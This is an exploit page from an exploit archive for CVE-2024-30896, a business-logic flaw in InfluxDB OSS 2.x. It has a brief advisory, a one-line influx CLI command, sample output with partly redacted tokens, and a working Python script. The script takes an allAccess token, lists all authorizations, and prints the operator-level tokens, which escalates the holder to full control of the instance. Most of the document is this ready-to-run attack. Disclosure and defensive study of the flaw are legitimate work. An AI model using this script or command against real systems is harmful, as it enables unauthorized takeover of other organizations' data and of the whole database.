Share
## https://sploitus.com/exploit?id=PACKETSTORM:190333
# Exploit Title: InfluxDB OSS Operator Privilege Escalation via BusinessLogic Flaw
    # Date: 22/03/2024
    # Exploit Author: Andrea Pasin (Xenom0rph97)
    # Researcher Homepage: https://xenom0rph97.github.io/xeno/
    # GitHub Exploit repo: https://github.com/XenoM0rph97/CVE-2024-30896
    # Software Link: https://www.influxdata.com/products/influxdb/
    # Version: 2.x <=> 2.7.11
    # Tested on: InfluxDB OSS 2.x
    # CVE: CVE-2024-30896
    # CVSS Base Score: 9.1
    # CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    
    # CVE-2024-30896
    
    ## Summary
    A business logic flaw in influxdb allows users who own a valid allAccess
    token to escalate their privileges at operator level by listing current
    authorization tokens.
    
    ## Scenario
    Attacker might be a user which was gained access by an administrator via an
    allAccess token only within their organization.
    This user's permissions will allow full control over the organization but
    will still prevent him to interact with other orgs.
    
    ## Impact
    This vulnerability would allow a user to obtain unrestricted access to the
    influxdb instance. A similar condition might fully compromise
    Confidentiality, Integrity and Availability of data owned by users of
    different organizations. Additionally, since operator token has
    administrative permissions, Availability and Integrity of the entire
    influxdb instance might be compromised.
    
    ## Prerequisites/Limitations
    1. Attacker must have a valid allAccess token
    2. allAccess token must have been created in the same Org where an operator
    token resides (ex. same Org as Admin user)
    3. Attacker must be able to interact with influxdb instance via CLI or APIs
    (influxClient)
    
    ## Steps to Reproduce
    ### Case 1: Exploitation via influxdb APIs:
    *Python Version*: 3
    *Requirements*: `influxdb_client==1.41.0`
    *Script usage*
    ```
    % python3 ./CVE-2024-30896.py -h
    usage: CVE-2024-30896.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]]
    [-vv [VVERBOSE]]
    
    optional arguments:
    -h, --help show this help message and exit
    -t TOKEN, --token TOKEN
    Custom or allAccess token to access influx DB
    instance
    -e ENDPOINTURL, --endpointUrl ENDPOINTURL
    Endpoint Url of influxdb instance (ex. "
    https://myInfluxdbInstance:8086/")
    -v [VERBOSE], --verbose [VERBOSE]
    Enable verbose logging - INFO
    -vv [VVERBOSE], --vverbose [VVERBOSE]
    Enable verbose logging - DEBUG
    ```
    
    ### Case 2: Exploitation via influx CLI
    1. Execute: `influx auth ls -t <allAccessToken> | grep write:/orgs`. This
    will list all current active operator tokens on the influxdb instance.
    
    *Example*
    ```
    # Using an allAccess token
    influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
    
    0cc41c3b050e5000 U1OuqmFC{REDACTED}
    admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations
    write:orgs/87d0746948a3b3f5/authorizations
    read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets
    read:orgs/87d0746948a3b3f5/dashboards
    write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5
    read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources
    read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks
    read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs
    read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000
    read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables
    read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers
    read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets
    read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels
    read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views
    read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents
    read:orgs/87d0746948a3b3f5/notificationRules
    write:orgs/87d0746948a3b3f5/notificationRules
    read:orgs/87d0746948a3b3f5/notificationEndpoints
    write:orgs/87d0746948a3b3f5/notificationEndpoints
    read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks
    read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp
    read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks
    read:orgs/87d0746948a3b3f5/annotations
    write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes
    write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications
    write:orgs/87d0746948a3b3f5/replications]
    
    # Listing all available tokens passing allAccess token and retrieving only
    operator level tokens
    influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
    
    0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
    admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations
    read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs
    write:/orgs read:/sources write:/sources read:/tasks write:/tasks
    read:/telegrafs write:/telegrafs read:/users write:/users read:/variables
    write:/variables read:/scrapers write:/scrapers read:/secrets
    write:/secrets read:/labels write:/labels read:/views write:/views
    read:/documents write:/documents read:/notificationRules
    write:/notificationRules read:/notificationEndpoints
    write:/notificationEndpoints read:/checks write:/checks read:/dbrp
    write:/dbrp read:/notebooks write:/notebooks read:/annotations
    write:/annotations read:/remotes write:/remotes read:/replications
    write:/replications]
    
    influxdb_client==1.41.0
    
    import influxdb_client
    import argparse
    import logging
    import sys
    
    argParser = argparse.ArgumentParser()
    argParser.add_argument("-t", "--token", type=str, help="Custom or allAccess token to access influx DB instance")
    argParser.add_argument("-e", "--endpointUrl", type=str, help="Endpoint Url of influxdb instance (ex. \"https://myInfluxdbInstance:8086/\")")
    argParser.add_argument("-v", "--verbose", type=bool, const=True, nargs='?', help="Enable verbose logging - INFO")
    argParser.add_argument("-vv", "--vverbose", type=bool, const=True, nargs='?', help="Enable verbose logging - DEBUG")
    
    args = argParser.parse_args()
    
    # Using user retrieved values or default (hardcoded) ones
    all_access_token = "<allAccessToken>"
    influx_endpoint_url = "<influxdbEndpointUrl>"
    
    # Defining some colors
    red = "\033[31m"
    yellow = "\033[93m"
    purple = "\33[1;95m"
    green = "\033[0;92m"
    cyan = "\033[96m"
    bold ="\033[1m"
    endc = "\033[39m"
    
    if args.vverbose == True:
        logging.basicConfig(level=logging.DEBUG)
    elif args.verbose == True:
        logging.basicConfig(level=logging.INFO)
    
    logger = logging.getLogger()
    
    if args.token:
        token = args.token
    else:
        logger.debug(f"{yellow}User did not set a token, using default one{endc}")
        token = all_access_token
    
    if args.endpointUrl:
        endpointUrl = args.endpointUrl
    else:
        logger.debug(f"{yellow}User did not set an endpoint Url for influxdb, using default one{endc}")
        endpointUrl = influx_endpoint_url
    
    logger.info(f"{cyan}Connecting to influx DB instance{endc}")
    # Connecting to influxdb instance 
    try:
        conn = influxdb_client.InfluxDBClient(
                    url=endpointUrl,
                    token=token,
                    debug=False,
                    verify_ssl=True
                )
    
        # Verify InfluxDB connection
        health = conn.ping()
        if not health:
            logger.error(f"{red}Unable to connect to db instace " + endpointUrl + f"{endc}") 
            print(f"{red}Quitting execution...{endc}")
            sys.exit(1)
    
    except Exception as e:
        logger.error(f"{red}Failed to connect to db instance: " + endpointUrl + " Error: " + str(e) + f"{endc}")
        print(f"{red}Quitting execution...{endc}")
        sys.exit(1)
    
    # Retrieving all current auths
    logger.debug(f"{yellow}Retrieving all auth tokens{endc}")
    print(f"{cyan}Enumerating current authorizations...{endc}")
    try:
        auths = conn.authorizations_api().find_authorizations()
    except Exception as e:
        logger.error(f"{red}Unable to retrieve authorizations. ERR: " + str(e) +f"{endc}")
        print(f"{red}Unable to retrieve authorizations. Quitting...{endc}")
        sys.exit(1)
    if not auths:
        print(f"{cyan}No Authorization tokens found on the instance{endc}")
        sys.exit(1)
    print(f"{cyan}{str(len(auths))} tokens found on the instance{endc}\n")
    # Extracting operator token -> Parsing permissions to look for ("org = None" and "authType = write/auths"), not 100% efficiency -> TO OPTIMIZE
    logger.debug(f"{yellow}Parsing auth permissions to retrieve operator tokens{endc}")
    print(f"{cyan}Enumerating all operator tokens:{endc}")
    op_tokens = []
    # In order to understand if a token is of type "operator" we need to enumerate all permissions and look for "write/auths" on org 'None' -> Unrescticted access
    try:
        for auth in auths:
            if auth.permissions:
                for perm in auth.permissions:
                    if perm.action == "write" and perm.resource.org == None and perm.resource.type == "authorizations":
                        op_tokens.append(auth.token)
    except Exception as e:
        logger.error(f"{red}Unable to parse permissions on found authorizations. ERR: " + str(e) + f"{endc}")
        print(f"{red}Unable to parse permissions on found authorizations. Quitting execution...{endc}")
        sys.exit(1)
    
    logger.info(f"{cyan}Printing all operator auth tokens{endc}")
    print(f"{cyan}{str(len(op_tokens))} operator tokens found.\n\nListing all operator tokens:\n{endc}")
    for op_t in op_tokens:
        print(f"{green}{op_t}{endc}")